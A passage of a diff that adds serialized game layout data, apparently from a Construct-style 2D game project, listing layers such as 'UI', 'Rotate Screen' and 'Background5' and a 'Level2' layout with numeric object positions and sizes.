+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5691,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3220,
+ 364,
+ 0,
+ 61,
+ 60,
+ 0,
+ 0,
+ 1,
+ 0.5409836173057556,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 548,
+ 6627,
+ [],
+ [
+ [
+ 0,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "buttons",
+ 6,
+ 255027441601818,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "UI",
+ 7,
+ 426982796492539,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 402.5,
+ 62,
+ 0,
+ 107,
+ 36,
+ 0,
+ 0,
+ 1,
+ 0.5046728849411011,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 326,
+ 212,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 401,
+ 442,
+ 0,
+ 228,
+ 61,
+ 0,
+ 0,
+ 1,
+ 0.5043859481811523,
+ 0.5081967115402222,
+ 0,
+ 0,
+ []
+ ],
+ 327,
+ 213,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 389,
+ -1,
+ 0,
+ 414,
+ 59,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 355,
+ 244,
+ [],
+ [],
+ [
+ 128,
+ 128,
+ "1234567890",
+ "0",
+ 0.45,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -30,
+ 0
+ ]
+ ],
+ [
+ [
+ -1269,
+ -269,
+ 0,
+ 802,
+ 482,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 356,
+ 251,
+ [],
+ [
+ [
+ 1,
+ 1,
+ 0,
+ 0,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 402,
+ 24,
+ 0,
+ 108,
+ 36,
+ 0,
+ 0,
+ 1,
+ 0.5185185074806213,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 359,
+ 254,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 60,
+ 417,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.5051546096801758,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 361,
+ 261,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 189,
+ 417,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.4948453605175018,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 362,
+ 262,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 740.5921630859375,
+ 416.3991088867188,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.4948453605175018,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 363,
+ 263,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 28,
+ 22,
+ 0,
+ 42.14814376831055,
+ 37.89653015136719,
+ 0,
+ 0,
+ 1,
+ 0.4888888895511627,
+ 0.4210526347160339,
+ 0,
+ 0,
+ []
+ ],
+ 381,
+ 580,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 120,
+ 25,
+ 0,
+ 39,
+ 39,
+ 0,
+ 0,
+ 1,
+ 0.7179487347602844,
+ 0.5128205418586731,
+ 0,
+ 0,
+ []
+ ],
+ 450,
+ 4856,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 76,
+ 25,
+ 0,
+ 36,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.6388888955116272,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 446,
+ 4855,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 970,
+ -111,
+ 0,
+ 100,
+ 100,
+ 0,
+ 2.381202459335327,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 538,
+ 5692,
+ [],
+ [],
+ [
+ 50,
+ 80,
+ 0,
+ 300,
+ 16,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 20,
+ 0,
+ 0,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 10
+ ]
+ ],
+ [
+ [
+ 377,
+ 229,
+ 0,
+ 923.4080810546875,
+ 554.9659423828125,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 357,
+ 252,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Collisionsidle",
+ 8,
+ 701690312044552,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "Rotate Screen",
+ 9,
+ 671434882722687,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 400,
+ 240,
+ 0,
+ 800,
+ 480,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 62,
+ 1219,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ]
+ ],
+ [],
+ []
+ ],
+ [
+ "Level2",
+ 5200,
+ 1500,
+ false,
+ "Gameplay1",
+ 259524156246484,
+ [
+ [
+ "fondo",
+ 0,
+ 491634202976913,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.699999988079071,
+ 0.800000011920929,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -109,
+ -198,
+ 0,
+ 10112,
+ 1814,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 306,
+ 285,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Background5",
+ 1,
+ 282605795616117,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -24,
+ -187,
+ 0,
+ 7497,
+ 573,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 331,
+ 286,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ -678,
+ 625,
+ 0,
+ 141,
+ 136,
+ 0,
+ 0,
+ 1,
+ 0.5035461187362671,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 349,
+ 287,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ 5222,
+ 732,
+ 0,
+ 40,
+ 1510,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 353,
+ 289,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -21,
+ 620,
+ 0,
+ 40,
+ 1248,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 353,
+ 817,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Layer 0",
+ 2,
+ 971456826192588,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.05000000074505806,
+ 0.300000011920929,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 320,
+ 98,
+ 0,
+ 250,
+ 250,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 309,
+ 293,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "fondo2",
+ 3,
+ 669674726426135,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.800000011920929,
+ 0.8500000238418579,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -240,
+ 2808,
+ 0,
+ 10152,
+ 594,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 307,
+ 294,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Layer 1",
+ 4,
+ 770913029581820,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -292,
+ 2597,
+ 0,
+ 10152,
+ 320,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 308,
+ 295,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ 168,
+ 527,
+ 0,
+ 388.008056640625,
+ 125.8404541015625,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 399,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1151.800048828125,
+ 1766.199951171875,
+ 0,
+ 184,
+ 173,
+ 0,
+ 0,
+ 1,
+ 0.532608687877655,
+ 0.9768785834312439,
+ 0,
+ 0,
+ []
+ ],
+ 535,
+ 562,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -843.800048828125,
+ 1859.199951171875,
+ 0,
+ 184,
+ 173,
+ 0,
+ 0,
+ 1,
+ 0.532608687877655,
+ 0.9768785834312439,
+ 0,
+ 0,
+ []
+ ],
+ 535,
+ 563,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1171.800048828125,
+ 1758.199951171875,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 566,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1058.800048828125,
+ 1753.199951171875,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 568,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 505.4070739746094,
+ 531.8441162109375,
+ 0,
+ 388.008056640625,
+ 125.8404541015625,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 569,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1148,
+ 720,
+ 0,
+ 388.008056640625,
+ 125.8404541015625,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 571,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1862,
+ 610,
+ 0,
+ 388.008056640625,
+ 125.8404541015625,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 572,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2906,
+ 624,
+ 0,
+ 388.008056640625,
+ 125.8404541015625,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 574,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2544.92138671875,
+ 622.0457153320312,
+ 0,
+ 388.008056640625,
+ 125.8404541015625,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 575,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3809,
+ 538,
+ 0,
+ 388.008056640625,
+ 125.8404541015625,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 576,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4154.498046875,
+ 540.66357421875,
+ 0,
+ 388.008056640625,
+ 125.8404541015625,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 577,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4891.4716796875,
+ 806.1492309570312,
+ 0,
+ 388.008056640625,
+ 125.8404541015625,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 579,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5236.9697265625,
+ 808.8128051757812,
+ 0,
+ 388.008056640625,
+ 125.8404541015625,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 582,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 153,
+ 637,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 779,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1048,
+ 832,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 781,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1455.986083984375,
+ 457.4242553710938,
+ 0,
+ 369.8648376464844,
+ 184.9324188232422,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 782,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2750,
+ 730,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 783,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3967,
+ 615,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 784,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5178,
+ 845,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 778,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4000,
+ 582,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 777,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2606,
+ 668,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 776,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1488,
+ 379,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 775,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 936,
+ 767,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 774,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4946,
+ 1186,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 737,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4170,
+ 918,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 726,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3884,
+ 836,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 725,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3331,
+ 706,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 724,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2999,
+ 903,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 710,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2581,
+ 1013,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 723,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1711,
+ 967,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 709,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1249,
+ 1033,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 708,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 401,
+ 864,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 707,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 9,
+ 572,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 400,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 17,
+ 571,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 565,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 205,
+ 907,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 786,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 539,
+ 782,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 787,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1092,
+ 851,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 788,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1718,
+ 658,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 789,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1490,
+ 685,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 790,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1933,
+ 923,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 791,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2555,
+ 643,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 792,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2744,
+ 1068,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 793,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3105,
+ 929,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 794,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3280,
+ 474,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 795,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3822,
+ 558,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4683,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
